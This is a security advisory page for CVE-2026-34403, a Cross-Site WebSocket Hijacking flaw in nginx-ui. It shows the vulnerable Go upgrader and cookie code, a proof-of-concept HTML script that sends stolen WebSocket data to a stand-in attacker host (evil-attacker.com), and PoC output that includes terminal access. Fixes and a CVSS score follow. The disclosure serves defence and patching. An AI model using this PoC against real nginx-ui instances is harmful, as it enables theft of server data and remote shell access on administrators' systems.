Nginx-UI: Cross-Site WebSocket Hijacking (CSWSH) via missing origin validation on all WebSocket endpoints
All WebSocket endpoints in nginx-ui use a gorilla/websocket Upgrader with CheckOrigin unconditionally returning true, allowing Cross-Site WebSocket Hijacking (CSWSH). Combined with the fact that authentication tokens are stored in browser cookies (set via JavaScript without HttpOnly or explicit SameSite attributes), a malicious webpage can establish authenticated WebSocket connections to the nginx-ui instance when a logged-in administrator visits the attacker-controlled page.
Every WebSocket endpoint in the codebase uses the same unsafe upgrader configuration:
```go
// Found in: api/terminal/pty.go, api/analytic/analytic.go, api/event/websocket.go,
// api/nginx_log/websocket.go, api/upstream/upstream.go, api/cluster/websocket.go,
// api/nginx/websocket.go, api/certificate/revoke.go, api/sites/websocket.go,
// api/llm/llm.go, api/llm/code_completion.go, api/system/upgrade.go
var upgrader = websocket.Upgrader{
CheckOrigin: func(r *http.Request) bool {
return true // Accepts ALL origins
},
}
```
The Vue.js frontend stores JWT tokens as cookies without security attributes (app/src/pinia/moudule/user.ts):
```typescript
watch(token, v => {
cookies.set('token', v, { maxAge: 86400 }) // No HttpOnly, no SameSite
})
```
The backend middleware accepts tokens from cookies (internal/middleware/middleware.go):
```go
func getToken(c *gin.Context) (token string) {
// ...
if token, _ = c.Cookie("token"); token != "" {
return token
}
return ""
}
```
All WebSocket endpoints under the authenticated router group are vulnerable:
| Endpoint | Impact |
|---|---|
| /api/nginx/detail_status/ws | Leak nginx performance metrics and configuration |
| /api/events | Leak system processing events |
| /api/analytic/intro | Leak CPU, memory, disk, network statistics |
| /api/nginx_log | Read nginx log files (access/error logs) |
| /api/pty | Interactive terminal access (RCE if OTP not enabled) |
| /api/upgrade/perform | Trigger system binary upgrade |
| /api/cluster/nodes/enabled | Leak and manipulate cluster node data |
```yaml
services:
nginx-ui:
image: uozi/nginx-ui:latest
ports:
volumes:
volumes:
nginx-ui-config:
```
```html
<script>
// Attacker page at http://evil-attacker.com
// Victim must be logged into nginx-ui
const ws = new WebSocket('ws://TARGET_NGINX_UI:9000/api/nginx/detail_status/ws');
ws.onopen = () => console.log('CSWSH: Connected from malicious origin!');
ws.onmessage = (e) => {
console.log('Stolen data:', e.data);
fetch('https://evil-attacker.com/collect', {method:'POST', body: e.data});
};
</script>
```
```
[+] VULNERABLE! WebSocket connected from http://evil-attacker.com
[+] Received: {"stub_status_enabled":false,"running":true,"info":{"active":0,...}}
[+] VULNERABLE! Event stream from http://evil-attacker.com
[+] Received: {"event":"processing_status","data":{"index_scanning":false,...}}
[+] VULNERABLE! Analytics from http://evil-attacker.com
[+] Received: {"avg_load":{"load1":0.1,"load5":0.2},"cpu_percent":0.08,...}
[+] CRITICAL: Terminal connected from http://evil-attacker.com!
[+] Terminal output: 'eae7a76e3ef4 login: '
[*] Sent username: root
[+] Output: 'Password: '
[+] Control test (no auth): Correctly rejected with HTTP 403
```
An attacker can create a malicious webpage that, when visited by an authenticated nginx-ui administrator, silently:
1. Steals sensitive server information -- nginx configuration, performance metrics, CPU/memory/disk usage, network traffic statistics, and system events
2. Reads nginx log files -- potentially containing sensitive request data, IP addresses, and authentication tokens
3. Gains interactive terminal access -- if the administrator has not enabled OTP/2FA, the attacker obtains a full PTY shell on the server, achieving Remote Code Execution
4. Triggers system operations -- including nginx reload/restart and binary upgrades
The attack requires no privileges and no knowledge of the victim's credentials. The only user interaction needed is visiting a webpage.
1. Implement proper origin validation in all WebSocket upgraders:
```go
var upgrader = websocket.Upgrader{
CheckOrigin: func(r *http.Request) bool {
origin := r.Header.Get("Origin")
return isAllowedOrigin(origin)
},
}
```
2. Set secure cookie attributes:
```typescript
cookies.set('token', v, { maxAge: 86400, sameSite: 'strict', secure: true })
```
3. Add CSRF token validation to WebSocket upgrade requests as defense-in-depth.
A patch is available at https://github.com/0xJacky/nginx-ui/releases
This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. A user must be tricked into taking some action. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability none.
The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
CVE-2026-34403 is classified as CWE-1385: Missing Origin Validation in WebSockets. The product uses a WebSocket, but it does not properly verify that the source of data or communication is valid.
CVE-2026-34403 is recorded against 2 packages.
Published on 25 June 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.
github.com (Advisory)
nvd.nist.gov (Advisory)
github.com (Web)
github.com/0xjacky/nginx-ui has other advisories on record. If you are patching this one, these are worth checking on the same host:
These advisories are the same class of weakness (CWE-1385: Missing Origin Validation in WebSockets) in other software:
Details
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| github.com/0xjacky/nginx-ui | — | — |
| nginx-ui | — | 2.3.5 |
References
Similar Threats
Site Security Check
CVE-2026-34403 is rated CVSS 8.1 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.
Scan My Site Free →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.
Stay up to date with the latest from Boteraser.
We use cookies to improve your experience on our site. By using our site, you consent to cookies.
Manage your cookie preferences below:
Essential cookies enable basic functions and are necessary for the proper function of the website.
CloudFlare provides web performance and security solutions, enhancing site speed and protecting against threats.
Service URL: developers.cloudflare.com (opens in a new window)
These cookies are needed for adding comments on this website.
These cookies are used for managing login functionality on this website.
Statistics cookies collect information anonymously. This information helps us understand how visitors use our website.
Google Analytics is a powerful tool that tracks and analyzes website traffic for informed marketing decisions.
Service URL: policies.google.com (opens in a new window)
You can find more information in our Cookie Policy and Privacy Policy.